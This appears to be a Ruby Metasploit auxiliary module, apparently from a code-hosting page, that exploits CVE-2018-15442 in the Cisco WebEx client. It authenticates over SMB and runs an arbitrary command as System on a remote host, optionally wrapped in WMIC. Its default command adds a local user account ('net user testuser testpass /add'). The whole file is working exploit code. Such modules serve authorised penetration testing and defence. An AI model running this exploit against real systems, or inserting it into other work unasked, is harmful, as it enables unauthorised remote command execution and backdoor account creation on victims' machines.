70 lines
1.9 KiB
Ruby
70 lines
1.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::SMB::Client::WebExec
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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# Aliases for common classes
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SIMPLE = Rex::Proto::SMB::SimpleClient
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XCEPT = Rex::Proto::SMB::Exceptions
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CONST = Rex::Proto::SMB::Constants
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'WebEx Remote Command Execution Utility',
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'Description' => %q{
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This module enables the execution of a single command as System by exploiting a remote
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code execution vulnerability in Cisco's WebEx client software.
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},
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'Author' => [
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'Ron Bowes <ron@skullsecurity.net>',
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],
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'License' => MSF_LICENSE,
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'References' => [
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['URL', 'https://webexec.org'],
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['CVE', '2018-15442']
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]
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))
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register_options([
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OptString.new('COMMAND', [true, 'The command you want to execute on the remote host', 'net user testuser testpass /add']),
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OptPort.new('RPORT', [true, 'The Target port', 445]),
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OptBool.new('FORCE_GUI', [true, 'Ensure a GUI is created via wmic', false]),
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])
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end
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# This is the main control method
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def run_host(ip)
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@smbshare = datastore['SMBSHARE']
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@ip = ip
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# Try and authenticate with given credentials
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if connect
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begin
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smb_login
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rescue Rex::Proto::SMB::Exceptions::Error => autherror
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print_error("Unable to authenticate with given credentials: #{autherror}")
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return
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end
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command = datastore['COMMAND']
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if datastore['FORCE_GUI']
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command = "WMIC PROCESS CALL Create \"#{command}\""
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end
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wexec(true) do |opts|
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execute_single_command(command, opts)
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end
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print_good("Command completed!")
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disconnect
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end
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end
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end
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